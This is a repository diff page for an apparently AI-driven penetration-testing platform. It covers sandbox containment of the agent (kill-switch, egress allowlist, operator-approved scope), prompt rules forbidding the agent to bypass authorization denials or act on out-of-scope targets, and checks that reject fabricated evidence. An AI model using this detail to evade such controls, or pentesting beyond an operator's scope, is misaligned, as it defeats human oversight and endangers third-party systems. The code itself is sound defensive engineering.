each protected path directly with O_RDONLY|O_NONBLOCK|O_NOCTTY under the file-
tool and Bash identities, report descriptor mode/uid/gid or unexpected open
errors, and add the 0.7.1 CHANGELOG entry.
Co-authored-by: BaaRai <130491490+BaaRai@users.noreply.github.com>
Port #708 into the panel Dockerfile and Dockerfile.worker so uid/gid 10001
resolves to artex-exec in both images (fixing tools such as ssh that require
a passwd entry for the running UID) and add the 0.7.1 CHANGELOG entry.
Co-authored-by: BaaRai <130491490+BaaRai@users.noreply.github.com>
The default compose now requires ARTEX_RUNNER_TOKEN for the panel, so the ghidra overlay config test must provide it like the sandbox compose test already does.
The panel refuses tasks when artex-runner is unavailable, so the runner, worker and egress proxy are now part of docker-compose.yml and docker-compose.ghcr.yml. install.sh and update.sh generate ARTEX_RUNNER_TOKEN and build the three images; the release workflow publishes them beside the panel image. The changelog records the security fixes, the upgrade steps and the scope re-approval.
The poller authorizes a batch with the allowlist it read. A member removed, a chat unlisted, or the bridge disabled while that batch was queued could still reach the approval handler and spend a valid button. The handler now re-reads the bridge, refuses when access or the enabled state changed, and the consume statement requires the current config_version, so a save between the read and the press is refused instead of raced.
Introduce the sandbox MVP architecture separating panel credentials and
PostgreSQL access from model-controlled tool execution:
- Runner service (cmd/artex-runner, sandbox/) owning /var/run/docker.sock
behind bearer-token auth (ARTEX_RUNNER_TOKEN) with POST /v1/tasks/{id}/exec,
POST /v1/tasks/{id}/kill, DELETE /v1/tasks/{id}, and GET /v1/health.
- Strict input and env validation (400 on forbidden secret/DB/cloud env
patterns or values > 8192 bytes, strict task ID and /workspace workdir).
- Hardened per-task worker containers (Dockerfile.worker, artex-worker:local,
cmd/artex-exec-wrap): uid/gid 10001, artex-exec-wrap --init PID 1 zombie
reaper, read-only rootfs, cap-drop ALL, no-new-privileges, pids/mem/cpu
limits, tmpfs /tmp and /home/exec, only /app/data/tasks/<id>:/workspace:rw,
only verified internal=true runner-labeled network artex-task-<id>.
- Kernel-backed kill-switch (zero agent-writable state): Kill executes
artex-exec-wrap --kill-uid 10001 as uid 10001 scanning /proc directly
(defeating setsid, nohup, nested double-forked trap-TERM daemons, and /tmp
tampering), verifies zero non-PID-1 uid-10001 processes remain, and falls
back to force-removing the worker container if any check fails. Dead
workers/proxies are recreated automatically when startContainer fails.
- Operator-only scope approval (migration 0023_task_scope_operator_approval.sql):
adds task_scope.approved_by_operator BOOLEAN NOT NULL DEFAULT FALSE, set
true exclusively by operator API/UI (AddOperatorScope) and operator-selected
TaskCreateOptions.CompanyIDs (insertTaskCompanies). AddAgentScope and
AddAutoScope leave it false (coverage-only). taskSandboxRunInfo reads only
approved, non-expanded rows (and expands company scope only for approved
company rows); tasks with no approved scope deny all egress.
- Per-task egress proxy (cmd/artex-egress-proxy, Dockerfile.egress-proxy,
artex-egress-proxy:local): HTTP/HTTPS CONNECT (:3128) and SOCKS5 (:1080),
deny-by-default allowlist with strict domain suffix enforcement, blocks
RFC1918/loopback/link-local/IMDS and IPv6 unless in scope CIDRs, DNS
pinning, and tamper-proof JSONL audit logging to a proxy-only mount
(/app/data/egress-audit/<id>:/audit:rw) never mounted into the worker.
- Panel integration (agent/sandbox.go, agent/webfetch.go, server/sandbox.go,
server/sharedbrowser_guard.go, server/assembly.go, server/customtool.go,
docker-compose.sandbox.yml): ARTEX_SANDBOX defaults to required (fail closed,
no local fallback), WebFetch and opt-in shared browser inherit the
operator-approved sandbox.EgressPolicy (with target_gate or explicit proxy
required for shared browser), custom script tools staged via symlink-confined
workspace files (avoiding argv E2BIG), Pause/Stop/Delete wired to runner
Kill/Delete.
- Documented breaking change and hardening details in docs/SANDBOX.md,
README.md, and CHANGELOG.md.
<!-- One paragraph: the problem and the change. -->
## Why
<!-- The issue or the behavior this fixes. Write "none" when it is a refactor. -->
## Size
- [ ] At most 2,500 changed lines and 15 files.
- [ ] Or a low-risk exception (localization files, documentation, generated code, test fixtures) up to 5,000 lines or 30 files, with the verification method described below.
- [ ] Larger: I split it by subsystem, or I am asking for the current wave to park it.
## Tests
<!-- Commands run and the result. Say which tests are skipped and why. -->
## Behavior change
<!-- What an operator or an agent will notice. Write "none" when nothing changes. -->
- **At most 7 open pull requests per contributor.** The repository enforces this with GitHub's pull request creation limit, drafts included: when you reach it, close or merge one before opening another. Review is manual, one change at a time, so a larger batch makes the queue unmanageable and slows everyone down, including you. If you have more changes queued, open one issue that lists them and wait for the current ones to be reviewed.
- **One focused change per PR.** If a change has independent parts, split it into a small number of PRs and say in each description what the other parts depend on.
- **Keep the review size bounded.** Aim for at most 2,500 changed lines and 15 files. A larger change is not rejected for its size: it is parked with the `feature` label and stays open, and we ask you to split it by subsystem, for example storage, API, UI and tests, into PRs under that size. The PR is the unit of review, not the unit of the feature.
- **Low-risk changes have a larger allowance.** Localization files, documentation, generated code and test fixtures can go up to 5,000 lines or 30 files when the change is mechanical and a key-parity check, a schema check or a test verifies it. Say in the description how you verified it.
- **Security, concurrency and database changes stay small.** They are reviewed line by line, with an automated audit pass before merge; split early and keep the risky part isolated.
- **Every PR gets a first answer.** A parked PR stays open; address the split request and ask for review again. Duplicate or superseded PRs are closed with the reason and the number of the PR that replaces them.
- **Describe the change.** State the problem, the behavior change and what you tested. A pull request with no description is a request for changes.
- **Provider support stays generic.** Any OpenAI- or Anthropic-compatible endpoint works through a model profile; provider convenience goes in as a neutral preset (name and base URL) or a docs recipe, with no vendor logos, promotional codes, baked vendor endpoints, or vendor-specific environment variables. A new wire format needs a schema migration, a profile save/load test, and a live connection test.
`ARTEX_LLM_BASE_URL`, `ARTEX_LLM_PROXY`. The model list and the connection test only reach public addresses; to test a local server, add its exact `host:port` to `ARTEX_LLM_PRIVATE_ENDPOINTS` (comma-separated, for example `host.docker.internal:11434`).
**Base URL gotcha**: for the Anthropic format, enter the host **without**`/v1` (for example
inferred:=addGuardNode(t,s,db.KindFact,map[string]any{"summary":"admin is probably reachable","confidence":"inferred","source":"tool_output","provenance":factProvenanceRecorded,"provenance_activity_id":stepID},"confirmed")
observed:=addGuardNode(t,s,db.KindFact,map[string]any{"summary":"logged in as admin","confidence":" Observed ","source":"tool_output","provenance":factProvenanceRecorded,"provenance_activity_id":stepID},"confirmed")
observed:=addGuardNode(t,s,db.KindFact,map[string]any{"summary":"logged in as admin","evidence":"uid=0(admin) groups=0(admin)","confidence":" Observed ","source":"tool_output","provenance":factProvenanceRecorded,"provenance_activity_id":stepID},"confirmed")
// WorkerBudgetWrapup is returned in place of a refused tool call.
constWorkerBudgetWrapup="[Budget reached] This intent's token/turn budget is used up; the tool call was not executed. Do not run any more commands or probes. Write back what you identified but have not persisted yet (insert_assets, record_fact, report_finding), then, in a single standalone sentence of plain text, summarize what you did and your key conclusions."
// PlannerBudgetWrapup is returned in place of a refused planner tool call when
// the task budget is exhausted or the forced wrap-up round forbids the tool.
constPlannerBudgetWrapup="[Budget reached] This task's token/turn budget is used up; the tool call was not executed. Do not dispatch new intents, add goals, or run probes. Only call prove_goal or report_finding/update_finding_report if already proven by existing evidence, then finish with a single standalone sentence summarizing where the task stands."
constplannerBudgetWrapup="**The task's token/turn budget is exhausted and the task is about to end** (a normal end, not an error). Based on the current facts and findings, make the final goal judgment: call prove_goal for goals proven met by evidence. **Do not generate any new intents** (they will not be executed). Then, in a single standalone sentence of plain text, summarize where the task stands."
// BudgetRound carries one planner round's budget on ctx (zero = no budget).
typeBudgetRoundstruct{
Linestring// one-line remaining budget for the planner context
WrapUpbool// the forced wrap-up round
Linestring// one-line remaining budget for the planner context
WrapUpbool// the forced wrap-up round
Meter*PlannerMeter// live per-round meter (nil when no budget is configured)
"The user paused the task via the task control API (POST /api/tasks/{id}/control, action=pause). This Planner/Worker run was actively cancelled; running intents return to frontier(open) and are re-claimed and executed from scratch after the task resumes")
AbortPausedByOrchestrator=cause("paused_by_orchestrator","The orchestrating agent paused the task",
"The orchestrating agent called the pause_task tool to pause this task. This Planner/Worker run was actively cancelled; running intents return to frontier(open) and are executed again after resuming")
AbortSandboxUnavailable=cause("sandbox_unavailable","The sandbox runner is unavailable",
"The required sandbox runner or Docker backend is unavailable. The task was paused without local execution fallback; running intents return to frontier(open) and can run again after the operator resumes the task")
AbortTaskDeleted=cause("task_deleted","The task was deleted",
"The task is being deleted (DELETE /api/tasks/{id}); the deletion barrier has cancelled the task's running Planner, Worker, and main agent; this run's results will not be used")
AbortPausedOnReload=cause("paused_on_reload","Restored the paused state on startup",
systemPrompt+="\n**Sandbox paths**: Bash runs in /workspace, which is the same directory as the file-tool working directory above. Prefer relative paths when sharing files between Bash and file tools; their absolute path prefixes differ."
b.WriteString("\n(Discovering a new target/port/host outside the constraints does not grant authorization: unless it falls within the allowed range above, record it as an out-of-scope fact and skip it — do not spawn intents or execute actions for it.)")
b.WriteString("\nRestrictions apply to the actual destination and operation, not merely to a URL's spelling or the tool used. A known alias/CNAME, origin IP, Host/SNI override, redirect, proxy/SSRF route, alternative port, tool, or entry point that reaches a denied target for the forbidden operation is still denied, even when that route is separately listed in scope. A scope listing, ordinary allowance, or goal/intent is not an exception to a deny. Do not retry a platform authorization denial through another tool or route. A platform authorization denial is not a target defense or HTTP error to bypass. These techniques remain usable for otherwise-authorized destinations and operations with no applicable denial; merely sharing infrastructure does not establish target equivalence. If a destination's scope is genuinely unclear, stop only that action and report the uncertainty; discovery does not grant authorization.")
b.WriteString("\n(Distinguish target-scope boundaries from method/operation permissions. "+
"Any allow entry naming a target, host, domain, URL, IP address, CIDR, or port is itself a binding target-scope boundary (a whitelist), even without an 'Authorized target scope:' prefix or the word 'only'. "+
"Bare entries such as '10.0.0.0/24' and 'app.example.com' restrict targets to the declared scope; they are not merely additional permissions. "+
"An allowance for an operation or method that does not name a target or port, such as 'Public proxies may be used.', is an additional permission, not a complete whitelist of otherwise-authorized work. "+
"Explicit scope declarations, restrictions (e.g. 'only', 'limited to', or exclusions), and every deny remain binding boundaries. "+
"Permission to use a method by itself neither requires that method nor expands target scope. A goal or assigned intent cannot override those boundaries. "+
"Newly discovered targets, ports, or hosts outside the operator's declared scope must be recorded as out-of-scope facts and skipped; do not spawn intents or execute actions for them.)")
t.Fatalf("allow entry was removed, prefixed or reclassified: %q",r.Text)
}
}
for_,semantic:=range[]string{
"Any allow entry naming a target, host, domain, URL, IP address, CIDR, or port is itself a binding target-scope boundary (a whitelist)",
"even without an 'Authorized target scope:' prefix or the word 'only'",
"An allowance for an operation or method that does not name a target or port, such as 'Public proxies may be used.', is an additional permission, not a complete whitelist",
ifstrings.Contains(block,"unless it falls within the allowed range above"){
t.Fatal("ordinary allow entries are still treated as a complete target whitelist")
}
for_,semantic:=range[]string{"additional permission","not a complete whitelist","scope declaration","every deny","nor expands target scope","actual destination and operation","still denied, even","platform authorization denial","merely sharing infrastructure does not establish target equivalence","stop only that action"}{
"summary":str("Required: a non-empty one-sentence summary of this conclusion."),
"intent_id":idp("The intent that produced this fact. Omit it to link the fact to the intent this worker is running; a batch may name a different intent per item."),
"detail":str("Details of this fact, including all related observations."),
"evidence":str("One line of key evidence: the command and the most proving output lines. Put longer output in detail."),
"evidence":str("One line of key evidence: the most proving output lines, copied verbatim from one tool output. Put the command and longer output in detail."),
"confidence":str("observed (seen directly in output) | inferred (inferred from phenomena). Label negative conclusions honestly."),
"source":map[string]any{"type":"string","enum":factSources,"description":"where the content came from: target_response | tool_output | third_party_intel | operator_input | inference (default when omitted)"},
"asset_ids":map[string]any{"type":"array","items":factAssetIDSchema(),"description":"Asset IDs explicitly involved in this fact. Use asset_ids as the canonical field; tested_asset_ids is accepted as an alias. If both are provided, they must name the same set. Do not infer IDs from the intent."},
// Texts of the earlier record_fact contract (fact fields at the top level
// beside facts[]), kept verbatim so the server's one-time refresh
// (server/fact_input_schema.go) can tell a stored default from an operator
// edit. Nothing here is published to a model.
// Texts of earlier record_fact defaults (the contract with fact fields at the
// top level beside facts[], and the facts-only texts of v0.7.0 and v0.7.1),
// kept verbatim so the server's one-time refresh (server/fact_input_schema.go)
// can tell a stored default from an operator edit. Nothing here is published
// to a model.
// recordFactLegacyDescription is the record_fact description seeded up to the
// facts-only contract.
@@ -27,12 +28,41 @@ const recordFactReleasedDescription = "Write an exploration [fact/conclusion] in
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."
// recordFactLegacyItemDescriptions are the facts[] item descriptions of the
// earlier contract whose wording referred to the top level; the refresh
// replaces exactly these texts with the current ones.
// The facts-only contract texts below asked for the command in evidence;
// evidence now quotes output lines only, each one from the cited tool result.
// Their dashes are written as escapes; the bytes are the released ones.
// recordFactV070Description is the record_fact description seeded by v0.7.0.
constrecordFactV070Description="Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n"+
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n"+
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n"+
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
// recordFactV071Description is the record_fact description seeded by v0.7.1 (also main up to the evidence-lines rule).
constrecordFactV071Description="Write an exploration [fact/conclusion] into the exploration graph, linked to the intent that produced it (intent_id). Used to record exploration results \u2014 both [positive conclusions] like fingerprinting/enumeration, and [negative conclusions] like 'port closed'/'parameter not injectable'/'no login entry found'.\n"+
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
"⚠️Write only conclusions you [actually saw] in tool output \u2014 don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** \u2014 details belong in detail; don't paste large output blocks here.\n"+
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" \u2014 state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen.\n"+
"★Call shape: exactly {\"facts\":[{...}]} with one item per distinct conclusion (usually one item). Each item carries its own summary, detail, evidence, confidence, source, asset_ids and, when it differs from the intent you are running, intent_id. Nothing else at the top level; a top-level fact field beside facts is refused and nothing is written."
// recordFactLegacyItemDescriptions are earlier facts[] item descriptions the
// refresh replaces exactly with the current ones: summary and intent_id of the
// earlier contract, whose wording referred to the top level, and evidence of
// v0.7.0 and v0.7.1, which asked for the command.
t.Fatalf("grep output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved",p["provenance"],p["provenance_activity_id"],proved,refusal,grep)
}
scan:=e.call("Bash",map[string]string{"command":"redis-cli -h 10.0.0.5 INFO server | head -3"},"# Server\nredis_version:7.2.4\nredis_mode:standalone_cluster_off")
t.Fatalf("older real output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved",p["provenance"],p["provenance_activity_id"],proved,refusal,scan)
t.Fatalf("whole output lines with blank lines and indentation: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved",p["provenance"],p["provenance_activity_id"],proved,refusal,info)
}
// A fact stored before this rule, tied to a result that lacks one of its
// lines, is refused by prove_goal.
stored,err:=e.s.AddNode(db.KindFact,map[string]any{"summary":"redis explained","evidence":"redis_version:7.2.4\nRedis is the cache the goal asks about.","confidence":"observed","source":"tool_output","provenance":factProvenanceRecorded,"provenance_activity_id":info},0,"confirmed","worker-5",nil)
// Standalone chat agents carry no task sandbox context (#805): say so,
// name the supported workflow, and stop the model from retrying Bash
// (the retry loop only burns LLM turns).
returnactool.Errorf("Error: Bash cannot run here: this standalone conversation has no sandbox execution context, and ARTEX_SANDBOX=required allows no local fallback. Do not retry Bash in this conversation; ask the operator to run this work as a task (or set ARTEX_SANDBOX=off)."),nil
}
returnactool.Errorf(fmt.Sprintf("Error: sandbox execution failed (ARTEX_SANDBOX=required, no local fallback): %v",err)),nil
returnactool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d is not backed by a matching recorded activity in this task. Goal %d stays open.",ev,goal)),nil
}
// Every evidence line of a tool_output fact must be in the tool
// result it is tied to, checked again here so a fact stored
// before that rule, or by any other path, cannot carry free text.
returnactool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): a line of fact %d's evidence is not in the tool result it is tied to. Goal %d stays open: record a fact whose every evidence line quotes that tool output verbatim.",ev,goal)),nil
}
}
// For operator_input facts, prevent a benign real operator quote in
// evidence from smuggling an unrelated summary claim (e.g. "admin access
// granted"): the normalized summary must appear inside the verified
returnfactProvenanceUnverified,0,fmt.Sprintf("evidence has more than %d lines; quote only the few output lines that prove the fact, each exactly as the tool printed it",factEvidenceMaxLines)
returnfactProvenanceUnverified,0,"the recorded tool activity could not be read, so the evidence is unverified"
}
ifechoed{
returnfactProvenanceUnverified,0,"the quoted tool output also appears in the input of an earlier tool call of this task (a heredoc, echo, printf, or a file written and read back), and text written into a tool's input is not an observation; quote output the tool produced, not text it was given"
}
ifincomplete{
returnfactProvenanceUnverified,0,"a line of the evidence is not in the recorded tool_result that holds the rest: every evidence line must quote that one tool output verbatim (a line under 12 characters must be a whole output line); put the command and any commentary in detail, not in evidence"
}
if!ok{
returnfactProvenanceUnverified,0,"evidence does not quote any line of this intent's recorded tool_result activity; quote the tool output verbatim instead of paraphrasing it"
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
"⚠️Write only conclusions you [actually saw] in tool output — don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** — details belong in detail; don't paste large output blocks here.\n"+
" · evidence = [one line] of key evidence supporting this conclusion: the one or two most proving output lines, copied verbatim from one tool output, **keep it brief**; the command and other details belong in detail, and large output blocks do not belong here.\n"+
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
" · **evidence is checked against this intent's recorded activity**: every evidence line must appear verbatim in the one tool output it quotes (a line under 12 characters must be a whole output line), and text you wrote into a tool's input does not count. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."+
return"\n\n**Traffic tools**:\n- traffic_search / traffic_get / traffic_blob / traffic_messages: review responses, find already-visited resources — **check the traffic first, don't curl the same URL twice**. traffic_search **requires a host** and by default returns only 3 ultra-light index entries (id/method/url/status/resp_len, no response content) — explicitly raise limit when you need more; body_contains does full-text search in request/response bodies (at least 3 characters; supports substrings and CJK text, e.g. for passwords/keys/errors/internal addresses); to see one entry's raw content use traffic_get(id) — oversized bodies show as @blob sha256:<hash>, fetched in segments with traffic_blob(hash). WebSocket (status 101) and SSE (text/event-stream) records are captured too: traffic_get shows the handshake, and traffic_messages(id) lists their messages in order with direction and type."
}
// promptWorkDir is the work-directory path shown to an agent in its prompt. In
// sandbox mode the agent's filesystem is the worker container's, where the
// per-intent run dir is mounted at /workspace/<leaf> — NOT the panel host path
// under /app/data/tasks. Telling the agent the host path makes it write to a
// read-only /app in raw shell commands (only the cwd is remapped, not absolute
// paths inside a command). Outside sandbox mode the host path is the real path.
// artifactSpec is section [C]: the code-owned, non-editable tail appended to every
// pentest agent's prompt — intermediate artifacts must land in the shared work
// dir, never /tmp. Guaranteed present regardless of how the DB body is edited.
funcartifactSpec(dirstring)string{
return"\n\n**Intermediate artifact output rules**: all intermediate artifacts — scripts, payloads, captured response bodies, temporary data — **must be written to this task's work directory "+dir+"** (a relative path writes here; the absolute path works too) — **do NOT write to /tmp, do NOT use other absolute paths**."
dir=promptWorkDir(dir)
containerNote:=""
ifSandboxRequired(){
containerNote="; the absolute path above is the container path for shell commands only"
}
return"\n\n**Intermediate artifact output rules**: all intermediate artifacts — scripts, payloads, captured response bodies, temporary data — **must be written to this task's work directory "+dir+"** (it is your current working directory — use relative paths for shell commands and file tools"+containerNote+") — **do NOT write to /tmp, do NOT use other absolute paths, and do NOT invent paths under /app**."
}
// workerArtifactSpec is the worker's section [C]: its per-intent run dir is
// pre-created by the engine (ensureRunDir), so it just writes relative paths there
// — no manual mkdir, no cross-worker name collisions.
funcworkerArtifactSpec(runDirstring)string{
return"\n\n**Intermediate artifact output rules**: all intermediate artifacts — scripts, payloads, captured response bodies, temporary data — **must be written to this intent's dedicated work directory "+runDir+"** (already created automatically; just write with relative paths there — no manual mkdir needed) — **do NOT write to /tmp, do NOT use other absolute paths**."
dir:=promptWorkDir(runDir)
return"\n\n**Intermediate artifact output rules**: all intermediate artifacts — scripts, payloads, captured response bodies, temporary data — **must be written to this intent's dedicated work directory "+dir+"** (already created automatically and set as your current working directory; just write with relative paths — no manual mkdir needed) — **do NOT write to /tmp, do NOT use other absolute paths, and do NOT invent paths under /app**."
}
// mainRunDirName is the run directory of a task's main agent and planner.
@@ -701,7 +730,7 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
WebSearchProxy:w.webSearch.Proxy,
// Bash subcommands' HTTP goes through the recording proxy + trusts its CA by
rotateSecrets=flag.Bool("rotate-secrets",false,"re-encrypt database secrets from -rotate-old-secret-file to -rotate-new-secret-file, invalidate active JWT sessions, and exit")
rotateOldSecretFile=flag.String("rotate-old-secret-file","","path to current secret.key (used with -rotate-secrets)")
rotateNewSecretFile=flag.String("rotate-new-secret-file","","path to staged new secret.key (used with -rotate-secrets)")
// Scope export for the optional egress-guard overlay, invoked by egress-guard/export-scope.sh.
exportEgressGuardScope=flag.Bool("export-egress-guard-scope",false,"print the operator-approved task scope in the form egress-guard/export-scope.sh reads, and exit")
exportEgressGuardTasks=flag.String("export-egress-guard-tasks","","comma-separated task ids for -export-egress-guard-scope (default: every task that is not finished)")
slog.Warn("[sandbox] ARTEX_SANDBOX=required: runner is currently unavailable; tasks will be refused until artex-runner is healthy","runner_url",sandboxCfg.RunnerURL,"err",herr)
}else{
slog.Info("[sandbox] ARTEX_SANDBOX=required: connected to artex-runner","runner_url",sandboxCfg.RunnerURL,"workers",h.Workers,"version",h.Version)
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.